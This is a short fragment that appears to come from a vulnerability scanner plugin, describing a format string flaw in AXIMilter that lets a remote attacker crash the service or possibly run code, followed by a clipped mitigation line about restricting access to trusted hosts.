"The version of AXIMilter installed on the remote host fails to
sanitize input of format string identifiers.  Using a specially-
crafted packet, an unauthenticated, remote attacker can crash the
service or possibly execute arbitrary code on the remote host subject
to the privileges under which the service operates." );

which is its default behavior, or allow access only from trusted
hosts." );
